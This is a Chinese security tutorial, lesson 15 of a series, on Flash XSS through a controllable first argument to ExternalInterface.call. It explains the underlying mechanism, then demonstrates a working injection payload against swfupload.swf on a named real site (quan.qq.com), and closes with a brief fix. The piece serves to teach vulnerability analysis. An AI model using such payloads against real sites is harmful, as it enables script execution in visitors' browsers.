15. Flash Xss 进阶 [ExternalInterface.call 第一个参数]

来源:15. Flash Xss 进阶 [ExternalInterface.call 第一个参数]

简要描述

除了上一节讲到的 navigateToURL/getURL 之外呢,另一个经常存在 XSS 缺陷的 as 函数就是 ExternalInterface.call,此函数作为 FLASH 与宿主页面 javascript 通信的接口,一般来说,有“2”个参数,第一个参数为所调用 js 函数名,后续的其他参数则为所调用的 js 函 数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现 XSS。本节先说一说第一个参数可 控的情况。

1. 先从程序员的角度说下基础知识,有时候,我们需要在 FLASH 里调用当前页面中的 javascript 函数,例如:一个简单的需求,我们 要在游戏加载完成后,执行弹出 1 的操作。

javascript 代码: alert(1)

as 代码 ExternalInterface.call("alert","1");

2. 有的程序员就会觉得,直接弹出 1 太丑了吧。于是他自己写个 js 的函数

function myalert(str){
    //显示一个漂亮的浮动层,并且把 str 显示在上面。
}

然后在 as 里 ExternalInterface.call("myalert","1");

3. 又有一天,另外一个程序员觉得上面那个程序员写的东西不错,但是他的 JS 函数名不叫 myalert,于是喊那个程序员改下 as 代码。 于是那个程序员觉得,免得以后老是有人喊我改代码,他就将代码写成了下面这个样子。

var func:String=root.loaderInfo.parameters.func; //接受 FLASH 所带的 func 参数 
ExternalInterface.call(func,"1");

[这样一来,其他想用这个 FLASH 的人,不需要修改 FLASH,只需要调用 FLASH 的时候带上参数即可。 比如我的 JS 函数是 newalert, 我只需要按照下面这么调用: http://some.com/xxx.swf?func=newalert

4. 上述过程提高了程序的可重用性,为开发人员带来了极大的便利,但是却是缺乏安全考虑的。 攻击者可以采用以下的方式来执行自己的代码

http://some.com/xxx.swf?func=(function({alert("hi jack")})

5. 为了方便理解,我们可以将

ExternalInterface.call("函数名","参数 1");

看成 JS 里的

函数名("参数 1");

而 FLASH 里实际最后执行的 JS 代码,形式如下(至于下面这句哪里来的,暂时不表):

try { flash toXML(函数名("参数 1")) ; } catch (e) { "<undefined/>"; }

因而 函数名 部分也可以写为 (function(){alert("hi jack")}) 的形式。

6. 上面说的是理论基础,有了这个基础,我们来看实例,就比较简单了。 http://quan.qq.com/swf/swfupload.swf

7. 怎么反编译,见上一篇。我们来看怎么查找缺陷。

8. 因为这是一个 AS3.0 的 FLASH 文件,我们首先确定 FLASH 是否有接受参数。 as3.0 接受参数的方法,所有参数存放在 root.loaderInfo.parameters 对象里。 例如 aaa.swf?a=1&b=2&c=3 ,那么 root.loaderInfo.parameters 则等于

{ 
    "a":1,
    "b":2,
    "c":3
}

9. 我们可以定位到 movieName 变量

image

可以看出,FLASH 的 movieName 参数,存放到了 this.movieName 中。

10. 进一步, this.movieName 被带入了到了 this.flashReady_Callback 及其它变量。

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this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");

11. 我们再进一步看看,this.flashReady_Callback 被用到了哪里。

image

12. 再接着看看调用 this.flashReady_Callback 的 Simple 函数是啥样子的。

image

可以看到,最终这个参数被放到 ExternalInterface.call 的第一个参数中执行了。

13. 是不是很激动。我们来假设一下,按下面调用 FLASH http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaa 那么 this.flashReady_Callback 就等于以下内容。 SWFUpload.instances["aaaaaaaa"].flashReady

最终调用的是 ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady');

14. 如果我们要调用自己的 JS 代码,就需要构造闭合,但是你会发现有一定问题。。 我们最多能够造成下面的模样。

ExternalInterface.call('SWFUpload.instances["aaa"];
function SWFUpload(){};
SWFUpload["aaa"].flashReady');

但是这样是无法正确执行的,因为 SWFUpload.instances 没有被定义,从而 SWFUpload.instances["aaa"]会失败。

15. 怎么办呢?这里就要拿出我们第 5 步里的知识了。我们把“函数名”换成 call 的第一个参数内容。变成下面的形式。

try { flash toXML(SWFUpload.instances["aaaaaaaa"].flashReady("参数 1")) ; } catch (e) { "&lt;undefined/&gt;"; }

我们再基于以上代码来构造,

try { flash toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("参数 1")) ; } catch (e){ "<undefined/>"; }

图片解析:

image

try {
    flash toXML(SWFUpload.instances["aaa"]) //此行代码,因为 SWFUpload 未定义,出错,跳转到 catch 部分
}catch(e){
    alert(1); //这里将会被执行。
};
//"].flashReady("参数 1")) ; } catch (e) { "<undefined/>"; }

16. 最后,我们把构造的代码,放进 FLASH 的参数里

http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};//

可以看到成功执行 alert(1)

image

修复方案:

对传入 call 的字符串进行判断或过滤操作。